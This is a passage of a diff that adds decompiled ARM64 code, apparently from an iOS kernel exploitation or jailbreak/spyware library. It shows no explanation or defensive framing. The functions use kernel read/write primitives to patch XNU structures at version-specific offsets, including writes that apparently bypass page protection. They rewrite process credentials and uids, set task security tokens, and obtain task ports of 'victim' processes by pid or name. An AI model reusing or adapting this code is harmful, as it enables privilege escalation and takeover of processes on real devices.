[xsp+20h] [xbp-20h] BYREF + __int64 v14; // [xsp+28h] [xbp-18h] BYREF + + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + return 1; + result = sub_349C8((struct_krwCtx *)a1, a2); + if ( result ) + { + result = kread64_outptr((struct_krwCtx *)a1, result + 176, (unsigned __int64 *)&v14); + if ( (_DWORD)result ) + { + result = validate_addr(a1, v14); + if ( result ) + { + result = kread64_outptr((struct_krwCtx *)a1, v14 + 80, &v13); + if ( (_DWORD)result ) + { + if ( v13 ) + { + v5 = *(_QWORD *)(a1 + 296); + if ( v5 ) + { + if ( v13 != v5 ) + { + v11 = 0; + v12 = 0; + v9 = 0; + v10 = 0; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v5 + 40, 8, &v10) + || !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, *(_QWORD *)(a1 + 296) + 48LL, 8, &v9) + || !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v13 + 40, 8, &v12) + || !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v13 + 48, 8, &v11) ) + { + return 0; + } + if ( v12 <= v10 ) + { + v6 = v13 + 48; + v7 = (unsigned __int64 *)&v9; + } + else + { + v6 = v13 + 40; + v7 = &v10; + } + sub_130B4(a1, v6, (__int64)v7, 8); + if ( !v8 ) + return 0; + } + } + } + return 1; + } + } + } + } + return result; +} +// 3AA0C: variable 'v8' is possibly undefined + +//----- (000000000003AA2C) ---------------------------------------------------- +void __fastcall sub_3AA2C(__int64 a1, unsigned int a2, int a3) +{ + int v6; // w8 + unsigned __int64 v7; // x0 + int v8; // w0 + __int64 v9; // x22 + int v10; // w8 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + unsigned __int64 v14; // x0 + __int64 v15; // x21 + __int64 v16; // x22 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x22 + int v19; // w0 + int v20; // w0 + unsigned __int64 v21; // [xsp+8h] [xbp-38h] BYREF + __int64 v22; // [xsp+10h] [xbp-30h] BYREF + unsigned int v23; // [xsp+1Ch] [xbp-24h] BYREF + + v23 = 0; + if ( !(unsigned int)sub_2D934((struct_krwCtx *)a1, a2) ) + return; + if ( !a3 ) + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + { + v7 = sub_349C8((struct_krwCtx *)a1, a2); + if ( !v7 ) + return; + if ( !kread64_outptr((struct_krwCtx *)a1, v7 + 176, (unsigned __int64 *)&v22) ) + return; + if ( !validate_addr(a1, v22) ) + return; + if ( !kread64_outptr((struct_krwCtx *)a1, v22 + 80, &v21) ) + return; + if ( v21 ) + { + *(_QWORD *)(a1 + 296) = v21; + v21 = 0; + sub_130B4(a1, v22 + 80, (__int64)&v21, *(unsigned int *)(a1 + 360)); + if ( !v8 ) + return; + } + goto LABEL_3; + } + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) ) + goto LABEL_3; + v22 = 0; + v10 = *(_DWORD *)(a1 + 320); + if ( v10 < 10002 ) + { + if ( v10 < 8019 ) + { + if ( v10 < 7195 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x18090A078FFFFFuLL ) + v16 = 240; + else + v16 = 232; +LABEL_38: + v17 = sub_349C8((struct_krwCtx *)a1, a2); + if ( !v17 ) + return; + v18 = v17 + v16; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v18, 8, &v22) ) + return; + if ( v22 ) + { + v21 = 0; + if ( (vm_page_mask & v22) != 0 ) + return; + sub_130B4(a1, v18, (__int64)&v21, 8); + if ( !v19 ) + return; + sub_130B4(a1, v18 + 8, (__int64)&v21, 8); + if ( !v20 ) + return; + } + goto LABEL_3; + } + v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, 0x80000); + v12 = 224; + v13 = 216; + } + else + { + v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, 18350080); + v12 = 160; + v13 = 152; + } + } + else + { + v11 = !krw_ctx_has_flag((struct_krwCtx *)a1, 18350080); + v12 = 168; + v13 = 160; + } + if ( v11 ) + v16 = v13; + else + v16 = v12; + goto LABEL_38; + } +LABEL_3: + v6 = *(_DWORD *)(a1 + 320); + if ( v6 <= 8019 ) + { + v9 = 268; + if ( v6 != 6153 && v6 != 7195 ) + { + if ( v6 != 8019 ) + return; + v9 = 284; + } + goto LABEL_28; + } + if ( v6 > 8795 ) + { + if ( v6 != 8796 ) + { + if ( v6 != 10002 ) + return; + v9 = 200; + goto LABEL_28; + } + goto LABEL_23; + } + if ( v6 != 8020 ) + { + if ( v6 != 8792 ) + return; +LABEL_23: + v9 = 180; + goto LABEL_28; + } + v9 = 148; +LABEL_28: + v14 = sub_33CB0((struct_krwCtx *)a1, a2); + if ( v14 ) + { + v15 = v14 + v9; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v14 + v9, 4, &v23) ) + { + v23 = v23 & 0xFFFFFBFF | ((a3 != 0) << 10); + kwritebuf_last_1(a1, v15, (__int64)&v23, 4); + } + } +} +// 3AB20: variable 'v8' is possibly undefined +// 3AD0C: variable 'v19' is possibly undefined +// 3AD24: variable 'v20' is possibly undefined + +//----- (000000000003AD2C) ---------------------------------------------------- +__int64 __fastcall sub_3AD2C(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int xnuMajorVersion; // w9 + __int64 v6; // x8 + mach_vm_address_t v7; // x20 + unsigned int v8; // w8 + unsigned int v10; // w9 + unsigned int v11; // [xsp+Ch] [xbp-14h] BYREF + + v3 = sub_33E8C(a1, a2); + if ( !v3 ) + return 0; + v4 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion <= 8019 ) + { + switch ( xnuMajorVersion ) + { + case 6153: + v6 = 960; + break; + case 7195: + v6 = 936; + break; + case 8019: + v6 = 1072; + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + v6 = 1232; + break; + default: + return v4; + } + goto LABEL_19; + } + if ( xnuMajorVersion > 8795 ) + { + if ( xnuMajorVersion != 8796 && xnuMajorVersion != 10002 ) + return v4; + v6 = 1700; +LABEL_19: + v7 = v6 + v3; + if ( kread32_outptr((__int64)a1, v6 + v3, &v11) ) + { + v8 = v11; + if ( !HIBYTE(v11) ) + { + v10 = a1->someLargeNumber <= 0x1F52FFFFFFFFFFLL ? v11 | 0x20 : v11 & 0xFFF71FDF | 0x80000; + v11 = v10 & 0xFFFF1FFF; + if ( v8 == (v10 & 0xFFFF1FFF) || noppl_kwrite32((__int64)a1, v7, v10 & 0xFFFF1FFF) ) + return 1; + } + } + return 0; + } + if ( xnuMajorVersion == 8020 ) + { + v6 = 1224; + goto LABEL_19; + } + if ( xnuMajorVersion == 8792 ) + { + v6 = 1196; + goto LABEL_19; + } + return v4; +} + +//----- (000000000003AE94) ---------------------------------------------------- +void __fastcall sub_3AE94(__int64 a1, unsigned int a2, int a3, int a4, int a5) +{ + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x22 + __int64 v12; // x23 + __int64 v13; // x0 + __int64 v14; // x24 + unsigned __int64 v15; // x0 + __int64 v16; // x23 + unsigned __int64 v17; // x0 + __int64 v18; // x0 + __int64 v19; // x23 + int v20; // w8 + struct_krwCtx *v21; // x0 + int v22; // w1 + bool v23; // zf + __int64 v24; // x8 + __int64 v25; // x9 + int v26; // w8 + __int64 v27; // x8 + unsigned __int64 v28; // x22 + unsigned __int64 v29; // x8 + bool v30; // cc + int v31; // w8 + int v32; // w11 + int v33; // w10 + int v34; // w8 + int v35; // w0 + unsigned __int64 v36; // x26 + unsigned __int64 v37; // x8 + __int64 v38; // x23 + unsigned __int64 v39; // x28 + bool v40; // zf + unsigned __int64 v41; // x27 + __int64 v42; // x24 + __int64 v43; // x20 + struct_a1 *v44; // x0 + __int128 v45; // q1 + __int64 v46; // [xsp+8h] [xbp-98h] + __int64 v47; // [xsp+10h] [xbp-90h] BYREF + unsigned __int8 v48; // [xsp+1Eh] [xbp-82h] BYREF + char v49; // [xsp+1Fh] [xbp-81h] BYREF + __int64 v50; // [xsp+20h] [xbp-80h] BYREF + unsigned __int64 v51[3]; // [xsp+28h] [xbp-78h] BYREF + char newBytes; // [xsp+43h] [xbp-5Dh] BYREF + int v53; // [xsp+44h] [xbp-5Ch] BYREF + __int64 v54; // [xsp+48h] [xbp-58h] BYREF + + v50 = 0; + v10 = sub_349C8((struct_krwCtx *)a1, a2); + if ( !v10 ) + return; + v11 = v10; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 32) ) + { + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 85475329) ) + { + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 512) ) + return; + v26 = *(_DWORD *)(a1 + 320); + if ( v26 <= 8791 ) + { + if ( v26 <= 8018 ) + { + if ( v26 <= 7194 ) + { + if ( v26 < 6153 ) + return; + v27 = 239; + if ( *(_QWORD *)(a1 + 344) > 0x18090A078FFFFFuLL ) + v27 = 231; + } + else + { + v27 = 223; + } + } + else + { + v27 = 151; + } + } + else + { + v27 = 143; + } + v43 = v27 + v11; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v27 + v11, 1, (char *)&v50 + 4) ) + { + LODWORD(v50) = a5; + if ( HIDWORD(v50) != a5 ) + kwritebuf_last_1(a1, v43, (__int64)&v50, 1); + } + return; + } + v20 = *(_DWORD *)(a1 + 320); + if ( v20 >= 10002 ) + { + v21 = (struct_krwCtx *)a1; + v22 = 18350080; +LABEL_26: + v23 = !krw_ctx_has_flag(v21, v22); + v24 = 199; + v25 = 191; + goto LABEL_32; + } + if ( v20 < 8792 ) + { + if ( v20 >= 8019 ) + { + v21 = (struct_krwCtx *)a1; + v22 = 1572864; + goto LABEL_26; + } + if ( v20 < 7195 ) + { + v24 = 271; + if ( *(_QWORD *)(a1 + 344) > 0x18090A078FFFFFuLL ) + v24 = 263; +LABEL_34: + v28 = v24 + v11; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v28, 4, (char *)&v50 + 4) ) + { + v29 = *(_QWORD *)(a1 + 344); + v30 = v29 > 0x1C1B0A800FFFFFLL; + if ( v29 <= 0x1C1B0A800FFFFFLL ) + v31 = -16777216; + else + v31 = 65280; + if ( v30 ) + v32 = 0x1000000; + else + v32 = 0x10000; + if ( v30 ) + v33 = 0x10000; + else + v33 = 256; + v34 = HIDWORD(v50) & v31; + if ( !a4 ) + v32 = 0; + if ( !a3 ) + v33 = 0; + LODWORD(v50) = v32 | v33 | a5 | v34; + if ( HIDWORD(v50) == (_DWORD)v50 || (sub_130B4(a1, v28, (__int64)&v50, 4), v35) ) + { + if ( *(int *)(a1 + 320) <= 8018 ) + a4 |= a3 ^ 1; + if ( *(_QWORD *)(a1 + 344) > 0x1F52FFFFFFFFFFuLL || sub_2F194((struct_krwCtx *)a1, a2, a4, a5) ) + goto LABEL_54; + } + } + return; + } + v23 = !krw_ctx_has_flag((struct_krwCtx *)a1, 0x80000); + v24 = 263; + v25 = 255; + } + else + { + v23 = !krw_ctx_has_flag((struct_krwCtx *)a1, 18350080); + v24 = 191; + v25 = 183; + } +LABEL_32: + if ( v23 ) + v24 = v25; + goto LABEL_34; + } + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v11 + 146, 1, &v48) ) + return; + if ( v48 == a5 ) + goto LABEL_17; + v49 = a5; + if ( !(unsigned int)kwritebuf_last_1(a1, v11 + 146, (__int64)&v49, 1) ) + return; + if ( !a5 ) + { +LABEL_17: + if ( !kread64_outptr((struct_krwCtx *)a1, v11 + 176, v51) ) + return; + if ( !validate_addr(a1, v51[0]) ) + return; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v51[0] + 32, 1, &v54) ) + return; + v49 = a4; + if ( (unsigned __int8)v54 != a4 && !(unsigned int)ppl_kwritebuf(a1, v51[0] + 32, &v49, 1) ) + return; +LABEL_54: + if ( dyldVersionNumber >= 851.0 ) + sub_3B49C((struct_krwCtx *)a1, a2, a4); + return; + } + if ( !kread64_outptr((struct_krwCtx *)a1, v11 + *(int *)(a1 + 360), (unsigned __int64 *)&v47) ) + return; + v46 = v47; + v12 = *(_QWORD *)(a1 + 7472); + if ( v12 ) + { +LABEL_9: + sub_19D10(v12, v51); + v13 = kernel_pattern_scan((__int64)v51, "68 02 08 CB 1F 20 03 D5", 0); + if ( v13 ) + { + v14 = v13; + v15 = sub_1E854(*(__int64 **)(a1 + 7472), (__int64 *)(v13 - 8)); + if ( v15 ) + { + v16 = sub_19B94(*(_QWORD *)(a1 + 7472), v15); + if ( validate_addr(a1, v16) ) + { + v17 = sub_1E854(*(__int64 **)(a1 + 7472), (__int64 *)(v14 + 4)); + if ( v17 ) + { + v18 = sub_19B94(*(_QWORD *)(a1 + 7472), v17); + if ( v18 ) + { + v19 = v16 + (((unsigned __int64)(v46 - v18) >> 10) & 0x3FFFFFFFFFFFF0LL) + 9; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v19, 1, &newBytes) ) + { + if ( (newBytes & 1) != 0 ) + goto LABEL_17; + newBytes |= 1u; + if ( (unsigned int)ppl_kwritebuf(a1, v19, &newBytes, 1) ) + goto LABEL_17; + } + } + } + } + } + } + } + else + { + sub_38544(a1, 0, 0, 0); + if ( *(_DWORD *)(a1 + 6304) ) + { + v36 = 0; + do + { + v37 = a1 + 24 * v36; + v38 = *(_QWORD *)(v37 + 6672); + v39 = *(_QWORD *)(v37 + 6680); + if ( validate_addr(a1, v38) ) + v40 = v39 == 0; + else + v40 = 1; + if ( !v40 ) + { + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v38 + 8, 8, &v54) ) + return; + if ( v54 == 0x6F74616C75676572LL ) + { + v41 = 0; + do + { + v42 = v41 + v38; + if ( !kread32_outptr(a1, v41 + v38, &v53) ) + break; + if ( v53 == -17958193 ) + { + if ( v42 ) + { + v44 = (struct_a1 *)calloc(0x128u, 1u); + if ( v44 ) + { + v12 = (__int64)v44; + sub_19DD4(v44, a1); + v45 = *(_OWORD *)(a1 + 336); + *(_OWORD *)(v12 + 112) = *(_OWORD *)(a1 + 320); + *(_OWORD *)(v12 + 128) = v45; + *(_QWORD *)(v12 + 144) = *(_QWORD *)(a1 + 352); + *(_DWORD *)(v12 + 152) = *(_DWORD *)(a1 + 376); + *(_DWORD *)(v12 + 56) = *(_DWORD *)(a1 + 384); + if ( sub_1A0D4(v12, 0, v42, 0) ) + { + *(_QWORD *)(a1 + 7472) = v12; + goto LABEL_9; + } + } + } + return; + } + v41 += *(unsigned int *)(a1 + 384); + } + while ( v41 < v39 ); + } + } + ++v36; + } + while ( v36 < *(unsigned int *)(a1 + 6304) ); + } + } +} +// 3B1C4: variable 'v35' is possibly undefined +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000003B49C) ---------------------------------------------------- +mach_vm_address_t __fastcall sub_3B49C(struct_krwCtx *a1, unsigned int a2, int a3) +{ + mach_vm_address_t result; // x0 + mach_vm_address_t v6; // x20 + unsigned int v7; // w9 + int v8; // w10 + int v9; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_34680(a1, a2); + if ( result ) + { + v6 = result; + result = kread32_outptr((__int64)a1, result, &v9); + if ( (_DWORD)result ) + { + v7 = v9 & 0xFFFFFF7F; + if ( a3 ) + v8 = 128; + else + v8 = 0; + if ( (v7 | v8) == v9 ) + return 1; + result = ppl_kwrite32(a1, v6, v7 | v8); + if ( (_DWORD)result ) + return 1; + } + } + return result; +} + +//----- (000000000003B524) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3B524(struct_krwCtx *a1, unsigned int a2, bool *a3, bool *a4, bool *a5) +{ + unsigned __int64 v9; // x23 + int v10; // w8 + struct_krwCtx *v11; // x0 + int v12; // w1 + bool v13; // zf + __int64 v14; // x8 + __int64 v15; // x9 + int v16; // w8 + __int64 v17; // x8 + unsigned __int64 v18; // x9 + unsigned int v19; // w8 + bool v20; // zf + char v21; // w8 + char v23; // [xsp+Fh] [xbp-41h] BYREF + __int64 v24; // [xsp+10h] [xbp-40h] BYREF + unsigned int v25; // [xsp+1Ch] [xbp-34h] BYREF + + v25 = 0; + v9 = sub_349C8(a1, a2); + if ( v9 ) + { + if ( krw_ctx_has_flag(a1, 32) ) + { + if ( kread64_outptr(a1, v9 + 176, (unsigned __int64 *)&v24) ) + { + if ( validate_addr((__int64)a1, v24) ) + { + v9 = 1; + if ( (unsigned int)kreadbuf_last_1(a1, v24 + 32, 1, &v23) ) + { + *a4 = v23 != 0; + *a5 = 0; + *a3 = 1; + return v9; + } + } + } + return 0; + } + if ( !krw_ctx_has_flag(a1, 85475329) ) + { + if ( !krw_ctx_has_flag(a1, 512) ) + return 0; + v16 = a1->xnuMajorVersion; + if ( v16 <= 8791 ) + { + if ( v16 <= 8018 ) + { + if ( v16 <= 7194 ) + { + if ( v16 < 6153 ) + return 0; + v17 = 239; + if ( a1->someLargeNumber > 0x18090A078FFFFFLL ) + v17 = 231; + } + else + { + v17 = 223; + } + } + else + { + v17 = 151; + } + } + else + { + v17 = 143; + } + if ( !(unsigned int)kreadbuf_last_1(a1, v17 + v9, 1, &v25) ) + return 0; + *a5 = (_BYTE)v25 != 0; + *a4 = 0; + *a3 = 0; + return 1; + } + v10 = a1->xnuMajorVersion; + if ( v10 >= 10002 ) + { + v11 = a1; + v12 = 18350080; +LABEL_10: + v13 = !krw_ctx_has_flag(v11, v12); + v14 = 199; + v15 = 191; + goto LABEL_16; + } + if ( v10 < 8792 ) + { + if ( v10 >= 8019 ) + { + v11 = a1; + v12 = 1572864; + goto LABEL_10; + } + if ( v10 < 7195 ) + { + v14 = 271; + if ( a1->someLargeNumber > 0x18090A078FFFFFLL ) + v14 = 263; + goto LABEL_18; + } + v13 = !krw_ctx_has_flag(a1, 0x80000); + v14 = 263; + v15 = 255; + } + else + { + v13 = !krw_ctx_has_flag(a1, 18350080); + v14 = 191; + v15 = 183; + } +LABEL_16: + if ( v13 ) + v14 = v15; +LABEL_18: + if ( !kread32_outptr((__int64)a1, v14 + v9, &v25) ) + return 0; + v18 = a1->someLargeNumber; + v19 = v25; + *a5 = (unsigned __int8)v25 != 0; + if ( v18 < 0x1C1B0A80100000LL ) + { + *a3 = (v19 & 0xFF00) != 0; + v20 = (v19 & 0xFF0000) == 0; + } + else + { + *a3 = (v19 & 0xFF0000) != 0; + v20 = HIBYTE(v19) == 0; + } + v21 = !v20; + *a4 = v21; + return 1; + } + return v9; +} + +//----- (000000000003B7E0) ---------------------------------------------------- +void __fastcall sub_3B7E0(__int64 a1, task_inspect_t task, host_t a3) +{ + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x23 + unsigned __int64 v8; // x21 + int v9; // w24 + unsigned __int64 v10; // x8 + int v11; // w9 + bool v12; // w27 + int v13; // w2 + unsigned int v14; // w0 + unsigned int v15; // w21 + unsigned __int64 v16; // x0 + mach_vm_address_t v17; // x20 + __int64 v18; // x0 + __int64 v19; // x21 + host_security_t v20; // w19 + security_token_t v21; // x2 + int v22; // w0 + int v23; // w0 + int v24; // w0 + mach_port_t special_port; // [xsp+Ch] [xbp-B4h] BYREF + audit_token_t task_info_outCnt; // [xsp+10h] [xbp-B0h] BYREF + mach_msg_type_number_t v27[2]; // [xsp+38h] [xbp-88h] BYREF + audit_token_t v28; // [xsp+40h] [xbp-80h] BYREF + integer_t task_info_out[2]; // [xsp+60h] [xbp-60h] BYREF + int v30; // [xsp+68h] [xbp-58h] BYREF + int v31; // [xsp+6Ch] [xbp-54h] BYREF + + if ( task_get_special_port(task, 2, &special_port) || special_port == a3 ) + return; + if ( (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x1F52FFFFFFFFFFuLL ) + { + v20 = *(_DWORD *)(a1 + 6436); + v27[0] = 2; + if ( !task_info(task, 0xDu, task_info_out, v27) ) + { + v27[0] = 8; + if ( !task_info(task, 0xFu, (task_info_t)&v28, v27) ) + { + v21 = *(security_token_t *)task_info_out; + task_info_outCnt = v28; + host_security_set_task_token(v20, task, v21, &task_info_outCnt, a3); + } + } + } + else + { + if ( mach_task_self_ != task ) + return; + task_info_outCnt.val[0] = 2; + if ( task_info(task, 0xDu, task_info_out, task_info_outCnt.val) ) + return; + task_info_outCnt.val[0] = 8; + if ( task_info(task, 0xFu, (task_info_t)&v28, task_info_outCnt.val) ) + return; + v6 = sub_33FFC((struct_krwCtx *)a1, task); + if ( !v6 ) + return; + v7 = v6; + if ( !kread64_internal((struct_krwCtx *)a1, v6, &task_info_outCnt) ) + return; + v8 = sub_29CB0((struct_krwCtx *)a1, *(__int64 *)task_info_outCnt.val); + if ( !validate_addr(a1, v8) + || !kread32_outptr(a1, v8 + 24, &v31) + || *(_QWORD *)(a1 + 344) > 0x1F530F027FFFFFuLL && !kread32_outptr(a1, v8 + 32, &v30) ) + { + return; + } + if ( *(_DWORD *)(a1 + 6432) == a3 ) + { + v9 = 0; + v10 = *(_QWORD *)(a1 + 344); + v11 = v31; + v12 = v10 > 0x1F530F027FFFFFLL && v31 == 0; + if ( v12 ) + v13 = 501; + else + v13 = 0; + } + else + { + if ( *(_DWORD *)(a1 + 6440) != a3 ) + return; + v13 = 0; + v11 = v31; + v10 = *(_QWORD *)(a1 + 344); + v12 = v10 > 0x1F530F027FFFFFLL && v31 != 0; + v9 = v31; + } + if ( v11 != v9 || v12 ) + { + if ( v10 <= 0x1F530F027FFFFFLL ) + { + if ( !noppl_kwrite32(a1, v8 + 24, v9) ) + return; + } + else if ( v12 && !(unsigned int)ppl_kwrite32((struct_krwCtx *)a1, v8 + 24, v13) + || !(unsigned int)ppl_kwrite32((struct_krwCtx *)a1, v8 + 32, v9) ) + { + return; + } + } + if ( (unsigned int)sub_34D14(a1, mach_task_self_) + && (*(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL || !(unsigned int)sub_35FD8((struct_krwCtx *)a1, v8)) ) + { + if ( !validate_addr(a1, *(_QWORD *)(a1 + 920)) + || (sub_35AE0((struct_krwCtx *)a1, *(_DWORD *)(a1 + 892), 0), v22) ) + { + if ( !seteuid(v9) ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL + || kread64_internal((struct_krwCtx *)a1, v7, v27) + && (*(_QWORD *)v27 == *(_QWORD *)task_info_outCnt.val + || (sub_2A63C((struct_krwCtx *)a1, v7, *(__int64 *)task_info_outCnt.val), v23)) ) + { + if ( !validate_addr(a1, *(_QWORD *)(a1 + 920)) + || (sub_35AE0((struct_krwCtx *)a1, *(_DWORD *)(a1 + 892), *(_QWORD *)(a1 + 936)), v24) ) + { + if ( v31 != v9 || v12 ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL ) + { + if ( !noppl_kwrite32(a1, v8 + 24, v31) ) + return; + } + else if ( v12 && !(unsigned int)ppl_kwrite32((struct_krwCtx *)a1, v8 + 24, v31) + || !(unsigned int)ppl_kwrite32((struct_krwCtx *)a1, v8 + 32, v30) ) + { + return; + } + } + if ( (unsigned int)sub_39CC0((struct_krwCtx *)a1, task, 1, task_info_out, 8) ) + sub_39CC0((struct_krwCtx *)a1, task, 3, &v28, 32); + } + } + } + } + } + } + } + else + { + v14 = sub_32E84(a1); + if ( v14 ) + { + v15 = v14; + v16 = port_name_to_kaddr((struct_krwCtx *)a1, task); + if ( v16 ) + { + v17 = v16 + v15; + if ( kread64_outptr((struct_krwCtx *)a1, v17, (unsigned __int64 *)v28.val) ) + { + if ( validate_addr(a1, *(__int64 *)v28.val) ) + { + if ( a3 + 1 < 2 ) + { + if ( a3 == -1 ) + v19 = -1; + else + v19 = 0; + } + else + { + v18 = task_self_get_ipc_port((struct_krwCtx *)a1, a3); + if ( !v18 ) + return; + v19 = v18; + if ( (unsigned int)sub_35E8C(a1, v18) ) + return; + } + kwrite64(a1, v17, v19); + } + } + } + } + } +} +// 3BB7C: variable 'v22' is possibly undefined +// 3BBC8: variable 'v23' is possibly undefined +// 3BBEC: variable 'v24' is possibly undefined + +//----- (000000000003BC88) ---------------------------------------------------- +bool __fastcall real_task_for_pid(__int64 a1, int a2, mach_port_name_t *a3) +{ + return krw_task_for_pid_or_name(a1, a2, 0, a3); +} + +//----- (000000000003BC94) ---------------------------------------------------- +bool __fastcall real_task_for_pid_or_name( + __int64 a1, + int victim_pid, + const char *victim_process_name, + mach_port_name_t *out_task) +{ + mach_port_t v8; // w20 + kern_return_t v9; // w0 + __int64 v10; // x8 + unsigned int v11; // w1 + unsigned __int64 v12; // x0 + __int64 v13; // x0 + int v14; // w9 + unsigned __int64 v15; // x10 + __int64 v16; // x11 + __int64 v17; // x10 + unsigned __int64 v19; // [xsp+8h] [xbp-28h] BYREF + + if ( victim_pid < 1 || getpid() != victim_pid ) + { + v11 = *(_DWORD *)(a1 + 6428); + if ( !v11 ) + v11 = *(_DWORD *)(a1 + 6424); + v12 = port_name_to_kaddr((struct_krwCtx *)a1, v11); + if ( !v12 ) + return 0; + if ( victim_process_name ) + { + v13 = krw_task_for_name(a1, v12, victim_process_name); + if ( !v13 ) + return 0; + } + else + { + v13 = krw_task_for_pid_0((struct_krwCtx *)a1, v12, victim_pid); + if ( !v13 ) + return 0; + } + v10 = 0; + v14 = *(_DWORD *)(a1 + 320); + if ( v14 > 8791 ) + { + v17 = 200; + if ( v14 != 8792 && v14 != 8796 && v14 != 10002 ) + return v10; + } + else + { + if ( (unsigned int)(v14 - 8019) < 2 ) + { + v15 = 0x1F530F027FFFFFLL; + v16 = 208; + } + else + { + v15 = 0x1C1B19145FFFFFLL; + v16 = 240; + if ( v14 != 6153 && v14 != 7195 ) + return v10; + } + if ( *(_QWORD *)(a1 + 344) <= v15 ) + v17 = 248; + else + v17 = v16; + } + if ( kread64_outptr((struct_krwCtx *)a1, v17 + v13, &v19) && validate_addr(a1, v19) ) + return (unsigned int)sub_36480((struct_krwCtx *)a1, v19, out_task) == 0; + return 0; + } + v8 = mach_task_self_; + v9 = mach_port_mod_refs(mach_task_self_, mach_task_self_, 0, 1); + v10 = 0; + if ( !v9 ) + { + *out_task = v8; + return 1; + } + return v10; +} + +//----- (000000000003BE3C) ---------------------------------------------------- +bool __fastcall sub_3BE3C( + struct_krwCtx *a1, + int a2, + thread_act_t a3, + thread_state_flavor_t a4, + natural_t *a5, + mach_msg_type_number_t a6) +{ + bool v11; // zf + int v12; // w20 + int xnuMajorVersion; // w8 + bool v15; // cc + int v16; // w8 + unsigned int v17; // w28 + int v18; // w9 + unsigned int v19; // w26 + int v20; // w27 + unsigned int v21; // w24 + mach_port_t v22; // w0 + unsigned __int64 v23; // x0 + unsigned __int64 v24; // x25 + int v25; // w25 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x26 + __int64 v28; // x28 + __int64 v29; // x26 + int v30; // w24 + _DWORD bufSize[3]; // [xsp+4h] [xbp-6Ch] BYREF + __int64 v32; // [xsp+10h] [xbp-60h] BYREF + int v33; // [xsp+1Ch] [xbp-54h] BYREF + + if ( a1->someLargeNumber < 0x1C1B0002E00000LL + || ((a1->flags & 0x5584001) != 0 ? (v11 = mach_task_self_ == a2) : (v11 = 1), v11) ) + { + v12 = sub_3C25C(a1, a3, a4, a5, a6); + return v12 == 0; + } + v33 = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8791 ) + { + if ( xnuMajorVersion != 8792 && xnuMajorVersion != 8796 && xnuMajorVersion != 10002 ) + return 0; + } + else if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion != 7195 ) + return 0; + if ( krw_ctx_has_flag(a1, 0x80000) ) + { + v15 = a1->someLargeNumber > 0x1C1B19145FFFFFLL; + v16 = 1304; + } + else + { + if ( !krw_ctx_has_flag(a1, 0x4000) ) + { + if ( !krw_ctx_has_flag(a1, 1) ) + { + v17 = 0; +LABEL_42: + v21 = v17 - 9; + v20 = 1; + v19 = 1; + goto LABEL_43; + } + v15 = a1->someLargeNumber > 0x1C1B19145FFFFFLL; + v16 = 1288; + v18 = 352; +LABEL_26: + if ( v15 ) + v17 = v18; + else + v17 = v16; + goto LABEL_42; + } + v15 = a1->someLargeNumber > 0x1C1B19145FFFFFLL; + v16 = 1296; + } + v18 = 360; + goto LABEL_26; + } + if ( krw_ctx_has_flag(a1, 0x4000000) ) + { + v17 = 448; + } + else if ( krw_ctx_has_flag(a1, 17825792) ) + { + v17 = 368; + } + else if ( krw_ctx_has_flag(a1, 540672) ) + { + v17 = 360; + } + else if ( krw_ctx_has_flag(a1, 1) ) + { + v17 = 352; + } + else + { + v17 = 0; + } + if ( a1->xnuMajorVersion < 8792 ) + goto LABEL_42; + v17 -= 8; + if ( krw_ctx_has_flag(a1, 1) ) + { + v19 = 4; + v20 = 2; + v21 = 228; + } + else + { + if ( krw_ctx_has_flag(a1, 0x4000000) ) + v21 = 316; + else + v21 = 236; + v19 = 4; + v20 = 2; + } +LABEL_43: + if ( !v17 ) + return 0; + v22 = mach_thread_self(); + v23 = port_name_to_kaddr(a1, v22); + if ( !v23 ) + return 0; + v24 = v23; + bufSize[0] = v19; + v32 = 0; + if ( !(unsigned int)kreadbuf_last_1(a1, v23 + v17, 8, &v32) ) + return 0; + if ( !(unsigned int)kreadbuf_last_1(a1, v24 + v21, v19, &v33) ) + return 0; + v25 = v33; + v26 = port_name_to_kaddr(a1, a3); + if ( !v26 ) + return 0; + v27 = v26; + *(_QWORD *)&bufSize[1] = 0; + v28 = v26 + v17; + if ( !(unsigned int)kreadbuf_last_1(a1, v28, 8, &bufSize[1]) ) + return 0; + v29 = v27 + v21; + if ( 